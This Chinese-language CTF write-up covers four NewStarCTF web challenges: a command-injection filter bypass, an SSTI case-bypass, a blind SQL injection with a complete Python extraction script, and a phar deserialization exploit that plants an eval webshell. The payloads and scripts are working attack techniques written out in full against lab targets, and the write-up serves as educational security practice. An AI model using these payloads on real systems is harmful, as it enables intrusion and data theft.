NewStarCTF 公开赛赛道 WEEK4 WP
WEB
So Baby RCE
这道题还是差一点点拿三血,也算是一个小进步吧

题目给出了源码,是命令执行的
<? phperror_reporting(0);
if (isset($_GET["cmd"])) {
if (preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i', $_GET["cmd"])) {
echo "Don't Hack Me";
} else {
system($_GET["cmd"]);
}
} else {
show_source(__FILE__);
}
因为很多的关键字都被过滤了,所以我们要使用绕过,先使用ls查看

因为/被过滤了,那么我们怎么到达根目录呢?使用cd嘛,因为|被过滤了,所以我们使用&&进行拼接命令,又因为&在url中有特殊的意义,所以我们要使用url进行编码,这里空格就不用说了,使用${IFS}进行绕过,使用?cmd=cd${IFS}..%26%26ls

然后使用?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ls到达根目录

因为cat被过滤了,但是我们这里可以了解一个东西,这也是这道题学到的新姿势吧:https://blog.csdn.net/weixin_39572764/article/details/112614915,我们可以使用ca$1t进行绕过,然后fl被过滤了,因为*被过滤了,所以我们使用?替代(记得要进行url编码),最后我们使用?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ca$1t${IFS}ffff%3Flllaaaaggggg得到flag

BabySSTI_Two
在这篇文章中看到了大小写绕过的方式https://blog.csdn.net/miuzzx/article/details/110220425
被过滤的字符:+、class、空格、”、class、mro、subclasses、init、globals、eval等
测试发现大小写绕过是可行的


1 | 使用?name={{'''__CLASS__'.lower()1()117['__GLOBALS__'.lower()]}}可以得到可以使用的函数 |

后面因为空格被过滤了,所以我们使用${IFS}进行绕过

最后使用tail${IFS}fla*得到flag

又一个SQL
是一道SQL注入,先fuzz,发现过滤了这些字符
length、#、空格、/**/、order、%23等
这边是直接使用1^SQL语句^1的方式进行注入的,脚本如下:
import requests
import time
host = "http://1fdf3c7e-fe93-49a7-a488-dc81880c7d66.node4.buuoj.cn:81/comments.php"
def getDatabase():
# 获取数据库名
global host
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "100^(ascii(substr((select(database())),%d,1))<%d)^1" % (i, mid)
data = {"name": payload}
res = requests.post(host, data)
if "f1ag" in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("database is -> " + ans)
def getTable():
# 获取表名
global host
ans = ''
for i in range(1, 1000): low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "100^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='wfy')),%d,1))<%d)^1" % (
i, mid)
data = {"name": payload}
res = requests.post(host, data)
if "f1ag" in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("table is -> " + ans)
def getColumn():
# 获取列名
global host
ans = ''
for i in range(1, 1000): low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "100^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),%d,1))<%d)^1" % (
i, mid)
data = {"name": payload}
res = requests.post(host, data)
if "f1ag" in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("column is -> " + ans)
def dumpTable():
# 脱裤
global host
ans = ''
for i in range(94, 1000): low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "100^(ascii(substr((select(group_concat(text,user,name,display))from(wfy_comments)),%d,1))<%d)^1" % (
i, mid)
# print(payload)
data = {"name": payload}
res = requests.post(host, data)
if "f1ag" in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
continue
ans += chr(mid - 1)
print("dumpTable is -> " + ans)
dumpTable()
# getDatabase()
# getTable()
# getColumn()
最后的dump函数中的94是手测出来的,根据前面几题的经验,前面的数据应该是中文,所以直接跳过,然后如果小于等于32或大于等于127时不能直接退出,而要使用continue。
库名:wfy
表名:wfy_admin,wfy_comments,wfy_information
wfy_comments字段名:id,text,user,name,display
最后可以得到flag

UnserializeThree
打开发现是一个上传的框

在源码中发现class.php文件,访问发现了源码
<? phphighlight_file(__FILE__);
class Evil
{
public $cmd;
public function __destruct()
{
if (!preg_match("/>|<|\?|php|" . urldecode("%0a") . "/i", $this->cmd)) {
//Same point ,can you bypass me again?
eval("#" . $this->cmd);
} else {
echo "No!";
}
}
}
file_exists($_GET['file']);
file_exists()函数、类、上传文件,我们是不是可以使用phar反序列化进行利用。先构造反序列化来生成一个phar文件,因为eval函数执行会加上一个#,绕过我们可以使用%0a,但是这里不行,\n也是不行的,这里使用的是\r进行绕过
<? php
class Evil
{
public $cmd;
}
$evil = new Evil();
$evil->cmd = "\reval(\$_GET[8]);";
$phar = new Phar('poc.phar');
$phar->setMetadata($evil);
// 触发类是C1e4r类
$phar->addFromString("flag.txt", "test");
// 签名
$phar->stopBuffering();
生成文件之后进行上传,要将其改为图片的格式才能上传


然后使用phar协议读取这个文件,使用file=phar://upload/4935ad2c4be6114f4bf09d55ed82a60b.jpg&8=phpinfo();

然后直接读取源码了

这一周的解题都在这里了,比之前还是有一点点进步的。好好加油吧!